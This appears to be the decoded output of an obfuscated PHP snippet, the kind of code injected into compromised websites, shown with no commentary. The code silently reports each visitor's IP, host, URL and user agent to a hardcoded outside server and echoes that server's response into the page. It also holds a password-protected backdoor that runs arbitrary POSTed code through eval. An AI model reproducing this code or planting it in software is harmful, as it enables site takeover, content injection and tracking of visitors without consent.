PHP Decode

?><?php
@error_reporting(E_ALL);@ini_set("display_errors",true);@error_reporting(0);
if(!empty($_COOKIE["client_check"]) && empty($ibv)) { $ibv = $_COOKIE["client_check"];  echo $ibv;} elseif (empty($ibv)) {
if (strstr($_SERVER["HTTP_HOST"], "127.0")){$name = $_SERVER["SERVER_ADDR"];}else{$name = $_SERVER["HTTP_HOST"];}
$usera = isset($_SERVER["HTTP_USER_AGENT"])?urlencode($_SERVER["HTTP_USER_AGENT"]):"";
$url = "http://83.166.240.235/get.php?ip=".urlencode($_SERVER["REMOTE_ADDR"])."&d=".urlencode($name.$_SERVER["REQUEST_URI"])."&u=".$usera."&i=1&h=".md5("feceb6d9403af4ae37f91412082aa45c11");
if(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$ibv = curl_exec($ch);$info = curl_getinfo($ch);if ($info["http_code"]!=200){$ibv="";}
curl_close($ch);
} elseif(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
}
if(!empty($_POST["p"]) && md5(md5($_POST["p"])) == "b2515e60db9c69738720b51ce0a04eef") { eval(stripslashes($_POST["c"])); }
echo $ibv;
}
?><?